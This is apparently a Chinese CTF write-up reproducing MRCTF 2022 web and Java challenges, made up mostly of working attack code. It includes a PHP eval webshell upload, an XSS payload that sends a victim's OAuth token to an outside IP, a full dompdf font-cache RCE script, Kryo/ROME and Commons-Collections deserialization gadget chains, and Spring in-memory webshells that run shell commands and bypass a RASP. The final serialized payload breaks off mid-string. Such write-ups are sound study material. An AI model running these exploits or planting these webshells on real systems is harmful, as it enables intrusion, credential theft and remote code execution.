mrctf
坐大牢,大佬们都没空,所以我就看看题就润了(毕竟太菜了)。
参考了wm的wp:https://blog.wm-team.cn/index.php/archives/18/以及出题师傅的wp
WebCheckIn
太菜了,看了半小时不知道咋写,直接开摆了。赛后复现了一波。不知道为啥php一直上传不了,其他文件上传了也没反应,然后直接不会了。赛后看了一眼wp:只能传php。人直接麻了,然后随便写了好几个php终于出现上传成功的路径了。然后又尝试了挺久,发现它似乎只有你的php文件报错,执行不了才能成功上传。然后直接用内置的Error类,假装报错。echo一次不行,那么再来一次,行了,起飞:
-----------------------------102487390811999988941441483611
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/plain
<?=$a=new Error(1);echo $a;echo $a;
eval($_POST[1])?>
-----------------------------102487390811999988941441483611--
然后flag不在根目录,用蚁剑反弹个shell。最终找到flag:
grep -r 'MRCTF{' / 2>/dev/null
God_of_GPA
赛后不知道是不是bot坏了,抄了一手exp打不通。先抄个预期解。
随便写个垃圾,可以在康康那里看到奇怪的前端代码:
<script>
let Img = window.MyImg || {src: 'https://md.buptmerak.cn/uploads/upload_d12a3804a813ffb14fe38a318d6bfcf1.png'}
let Container = document.createElement("div");
Container.innerHTML = '<img class="avatar" src="' + Img.src + '">';
document.body.appendChild(Container);
</script>
确实够奇怪,但是也确实不会利用,按照wp里面提到的文章:https://xz.aliyun.com/t/7329
发现可以用a标签来进行xss,学到了。知道原理了(个p),那直接抄一手wp:(个人喜欢抄wm的)
<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
location.href="http://47.96.173.116:2333/flag?f="+encodeURIComponent(uri)
}else{
location.href="http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri="+window.location.href
}
</div>
<img src='data:,"onerror="eval(scrip.innerText)' id="MyImg" />
然后我这搞不成,自己点开文章显示重定向不匹配,然后我就抄了一手wp里面的非预期:
<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
location.href="http://47.96.173.116:2333/flag?f="+encodeURIComponent(uri)
}else{
location.href=`http://brtserver.node2.buptmerak.cn/oauth/authorize?redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://47.96.173.116:2333/`
}
</div>
<img src='data:,"onerror="eval(scrip.innerText)' id="MyImg" />
然后当然也没复现成功,但是如果自己点进去,确实服务器收到了token,所以就当成功算了(懒)。确实怀疑bot已经神志不清了。
Tprint
比较神奇的题目。首先读一手log我是没想到的(毕竟thinkphp 6.0.12):
/runtime/log/202204/23.log
然后可以看到里面有个admin控制器。然后就是后台的文件上传。居然考得是1day。根据github上的poc:https://github.com/positive-security/dompdf-rce
以及复现的文章:https://ghostasky.github.io/2022/03/19/dompdf%200day(RCE)%E5%A4%8D%E7%8E%B0/
可以有大致的思路。可惜靶机不能出网,所以才给的文件上传入口。如果直接用github上那个exploit_font.php
是打不通的(不知道为啥),然后我自己随便找了个可以在线生成字体的网站:https://font.qqe2.com/
随便生成一个新字体,然后直接导出ttf文件,然后往里面加入木马:
改为php后缀文件,上传。得到路径。编辑恶意的css文件:
@font-face {
font-family:'exploitfont';
src:url('http://localhost:81/路径');
font-weight:'normal';
font-style:'normal';
}
上传之后,得到路径。上传恶意的html:
<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>
得到html的路径。然后回到主页的打印功能,把该html打印出来,然后就会在服务器上生成php后门,根据thinkphp的字体路径,还有dompdf的字体文件的命名方法可以得到后门路径。贴一个出题者的exp:
import requests
from hashlib import md5
url = "http://5e605a8c-473e-4fe7-a1b0-e296f5ab844b.node1.mrctf.fun:81"
font_name = "eki"
def print2pdf(page):
param= {
"s": "Printer/print",
"page": page
}
res = requests.get(f"{url}/public/index.php", params=param)
return res
def upload(filename, raw):
data = {
"name":"avatar",
"type":"image",
}
res = requests.post(f"{url}/public/index.php?s=admin/upload", data=data, files={"file": (filename, raw, "image/png")})
return res.json()["result"]
exp_font = "/tmp/fonteditor.ttf"
php_location = upload("exp.php",open(exp_font,"rb").read())
print(f"php_location=>{php_location}")
exp_css = f"""
@font-face{{
font-family:'{font_name}';
src:url('http://localhost:81{php_location}');
font-weight:'normal';
font-style:'normal';
}}
"""
css_location = upload("exp.css",exp_css)
print(f"css_location=>{css_location}")
html = f"""
<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>
"""
html_location = upload("exp.html",html)
print(f"html_location=>{html_location}")
p = html_location
print(p)
res = print2pdf(p)
md5helper = md5()
md5helper.update(f"http://localhost:81{php_location}".encode())
remote_path = f"/vendor/dompdf/dompdf/lib/fonts/{font_name}-normal_{md5helper.hexdigest()}.php"
print(f"remote_path=>{remote_path}")
res = requests.get(url+remote_path)
print(res.text)
Springcoffee
y4大佬把那两道java题写的很好,所以我也不细说了,讲讲踩到的坑。可以去看:https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#%E6%80%BB%E7%BB%93
由于确实能力有限,又遇到周末开摆,拖了很久才把这题复现了,挺有意思的。
很明显的饭序列化,但是没见过kryo。除此之外似乎都是老套路了,经典虎符杯的rome1.7二次反序列化。先是传参:
public Message order(@RequestBody CoffeeRequest coffee) {
if (coffee.extraFlavor != null) {
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));
这种传参方式还好之前看了springboot的新cve,所以传extraFlavor
就行,具体可以去看看那个cve的解释。然后似乎没啥了,序列化就内个嗯抄源码:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
this.kryo.register(Mocha.class);
this.kryo.writeClassAndObject(output, new Mocha());
output.flush();
output.close();
然后就开始内个复制粘贴虎符杯的链子。然后会发现没有注册类。神奇的kryo,然后按照y4神的wp,可以发现报错的位置:
if (registration == null) {
if (this.registrationRequired) {
throw new IllegalArgumentException(this.unregisteredClassMessage(type));
}
if (Log.WARN && this.warnUnregisteredClasses) {
Log.warn(this.unregisteredClassMessage(type));
}
registration = this.classResolver.registerImplicit(type);
}
手动设置为registrationRequired=false
。刚好/coffee/demo
路由明显可以调用kryo里面所有的set方法。手动调好之后,发现不能创建类。kryo真滴烦。同样可以在源码里面找到:
try {
final ConstructorAccess access = ConstructorAccess.get(type);
return new ObjectInstantiator() {
public Object newInstance() {
try {
return access.newInstance();
} catch (Exception var2) {
throw new KryoException("Error constructing instance of class: " + Util.className(type), var2);
}
}
};
} catch (Exception var7) {
}
没有无参构造方法可以调用报错。然后wp里面说可以用StdInstantiatorStrategy
,说实话,这应该得一个个试,毕竟没几个Strategy。同样可以用kryo的set方法修改默认的Strategy,然后就ojbk了。直接内个抄虎符杯:
package fun.mrctf.springcoffee;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import org.apache.commons.io.FileUtils;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.objenesis.strategy.StdInstantiatorStrategy;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;
import javax.xml.transform.Templates;
import java.util.Base64;
public class Exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setFieldValue(s, "table", tbl);
return s;
}
public static void main(String[] args) throws Exception {
String code = "{printName();}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(test.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", bytecodes);
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root,root);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = makeMap(root1,root1);
// ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
// kryo.register(hashmap1.class);
kryo.writeClassAndObject(output, hashmap1);
output.flush();
output.close();
System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
// Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
// hessian2Output.writeObject(hashmap1);
// hessian2Output.flushBuffer();
// byte[] bytes = byteArrayOutputStream.toByteArray();
// System.out.println(new String(Base64.getEncoder().encode(bytes)));
// InputStream in = new ByteArrayInputStream(bytes);
// Hessian2Input input = new Hessian2Input(in);
// input.readObject();
// try {
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
// System.out.println(hessian2Input.readObject());
// } catch (Exception e) {
// System.out.println(e);
// }
}
}
靶机不出网,经典内存马。但是会发现运行不了,估计存在rasp。需要上传一个文件读取的东西,将内存马改一下就能用了。先是test.class,修改里面的base64和类名即可:
package fun.mrctf.springcoffee;
import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class test {
public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
String className = "fun.mrctf.springcoffee.controller.FileController";
byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAdgoAFQBECABFCwBGAEcHAEgKAAQASQoABABKBwBLCgAHAEwHAE0KAAkATgcATwoACwBECgAJAFAKAAsAUQoACwBSCgALAFMLAFQAVQoAVgBXCgBYAFkHAFoHAFsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAMkxmdW4vbXJjdGYvc3ByaW5nY29mZmVlL2NvbnRyb2xsZXIvRmlsZUNvbnRyb2xsZXI7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAA3VybAEADkxqYXZhL25ldC9VUkw7AQACaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBaBwBcBwBdBwBeBwAyBwBIBwBfBwBLBwBNBwBPBwBgAQAKRXhjZXB0aW9ucwcAYQEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATRmlsZUNvbnRyb2xsZXIuamF2YQwAFgAXAQAEZmlsZQcAXAwAYgBjAQAMamF2YS9uZXQvVVJMDAAWAGQMAGUAZgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMABYAZwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABYAaAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABpAGoMAGsAbAwAawBtDABuAGoHAF0MAG8AcAcAYAwAcQByBwBzDAB0AHUBADBmdW4vbXJjdGYvc3ByaW5nY29mZmVlL2NvbnRyb2xsZXIvRmlsZUNvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABJnZXRQYXJhbWV0ZXJWYWx1ZXMBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAAhnZXRCeXRlcwEABCgpW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWACEAFAAVAAAAAAACAAEAFgAXAAEAGAAAAC8AAQABAAAABSq3AAGxAAAAAgAZAAAABgABAAAADAAaAAAADAABAAAABQAbABwAAAABAB0AHgADABgAAAF8AAQACwAAAH0rEgK5AAMCADoEGQTGAG+7AARZGQQDMrcABToFGQW2AAY6BrsAB1kZBrcACDoHuwAJWRkHtwAKOgi7AAtZtwAMOgkZCLYADVk6CsYAIBkJuwALWbcADBkKtgAOEAq2AA+2ABC2AA5Xp//bLLkAEQEAGQm2ABC2ABK2ABMDrAAAAAMAGQAAAC4ACwAAAA4ACgAPAA8AEAAcABEAIwASAC4AEwA5ABQAQgAWAE0AFwBqABkAewAbABoAAABwAAsAHABfAB8AIAAFACMAWAAhACIABgAuAE0AIwAkAAcAOQBCACUAJgAIAEIAOQAnACgACQBKADEAKQAqAAoAAAB9ABsAHAAAAAAAfQArACwAAQAAAH0ALQAuAAIAAAB9AC8AMAADAAoAcwAxADIABAAzAAAAQwAD/wBCAAoHADQHADUHADYHADcHADgHADkHADoHADsHADwHAD0AAPwAJwcAPv8AEAAFBwA0BwA1BwA2BwA3BwA4AAAAPwAAAAQAAQBAAEEAAAANAwArAAAALQAAAC8AAAABAEIAAAACAEM=");
//控制器的bytecode
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
}
}
然后FileController的代码:
package fun.mrctf.springcoffee.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
public class FileController extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String[] code = request.getParameterValues("file");
if (code != null) {
URL url = new URL(code[0]);
InputStream is = url.openStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
return false;
}
}
然后输入file=file://
即可读取文件。可以发现rasp,而且还有/readflag
。没想到需要UNIXProcess进行绕过。而且搞了两天才终于能跑。wp里面没细锁,自己琢磨不透,google好不容易找了一个,直接内个照抄:
package fun.mrctf.springcoffee.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class CmdController extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String[] code = request.getParameterValues("code");
if (code != null) {
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] cmd = {"/bin/sh", "-c", code[0]};
byte[] prog = toCString(cmd[0]);
byte[] argBlock = getArgBlock(cmd);
int argc = argBlock.length;
int[] fds = {-1, -1, -1};
Object obj = constructor.newInstance(prog, argBlock, argc, null, 0, null, fds, false);
Method method = cls.getDeclaredMethod("getInputStream");
method.setAccessible(true);
InputStream is = (InputStream) method.invoke(obj);
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
}
return false;
}
private static byte[] toCString(String str) {
byte[] bytes = str.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
private static byte[] getArgBlock(String[] cmdarray){
byte[][] args = new byte[cmdarray.length-1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i+1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
return argBlock;
}
}
然后直接一波/readflag
,没反应。惨得一。原来是tm的计算题,如果不输入直接内个浏览器一直等。以后可以用echo测试是不是交互题echo 1 | /readflag
。然后又要写perl脚本进行交互,讲道理网上没找到,直接抄wp的:
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
然后base64一下,命令执行:
echo dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoIFwqQ0hMRF9JTiwgXCpDSExEX09VVCwgXCpDSExEX0VSUiwgJy9yZWFkZmxhZycgKSBvciBkaWUgIm9wZW4zKCkgZmFpbGVkISI7CgpteSAkcjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokciA9IDxDSExEX09VVD47CnByaW50ICIkciI7CiRyID0gc3Vic3RyKCRyLDAsLTMpOwokciA9IGV2YWwgIiRyIjsKcHJpbnQgIiRyXG4iOwpwcmludCBDSExEX0lOICIkclxuIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw==|base64 -d>/tmp/1.pl
然后在perl /tmp/1.pl
即可拿到flag。这道题真是不容易啊
EzJava
同样,大佬分析的很好了,就不细说。我是根据CC3来改得。http://w4nder.top/index.php/2021/03/07/commons-collections-gadgets/
需要绕过黑名单。所以得找别的链子。根据原来的比较,加了黑名单之后,会在LazyMap这里的get断掉:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
因为ChainedTransformer被ban了,所以不能往下进行,需要找另一个来代替。然后wp里面找到了FactoryTransformer:
public Object transform(Object input) {
return iFactory.create();
}
这里可以调用Factory子类的create。然后就找到了InstantiateFactory:
public Object create() {
// needed for post-serialization
if (iConstructor == null) {
findConstructor();
}
try {
return iConstructor.newInstance(iArgs);
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateFactory: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateFactory: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);
}
}
这里可以创建一个对象,然后根据CC3,可以用TrAXFilter来创建TemplatesImpl进而加载恶意字节码。所以直接整好:exp
package com.example.easyjava;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{printName();}";
ctClass.makeClassInitializer().insertAfter(code);
byte[] bytes = ctClass.toBytecode();
byte[][] bytecode = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(TrAXFilter.class),
// new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
// };
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,factoryTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
Map expMap = makeMap(tme, "keykey");
// HashSet hashSet = new HashSet(1);
// hashSet.add(tme);
// outerMap.remove("keykey");
// setField(transformerChain,"iTransformers",transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
一开始直接网hashMap put链子,疯狂打自己,后来才想起来之前的rome似乎不是这么弄到里面的,就把之前的makeMap抄了一手。同样是内存马,经典不出网。test.class和上面那个一样,改改类名和base64就行。控制器的代码:
package com.example.easyjava.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class CmdController extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}
然后经典只需要传body,为了防止url编码,写个python传即可:
import requests
url = "http://127.0.0.1:8089/hello"
payload = b'rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAGa2V5a2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkZhY3RvcnlUcmFuc2Zvcm1lcqFiwSldt/O4AgABTAAIaUZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkluc3RhbnRpYXRlRmFjdG9yeZSxnJ5nIQTrAgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAATaUNsYXNzVG9JbnN0YW50aWF0ZXQAEUxqYXZhL2xhbmcvQ2xhc3M7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAQTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX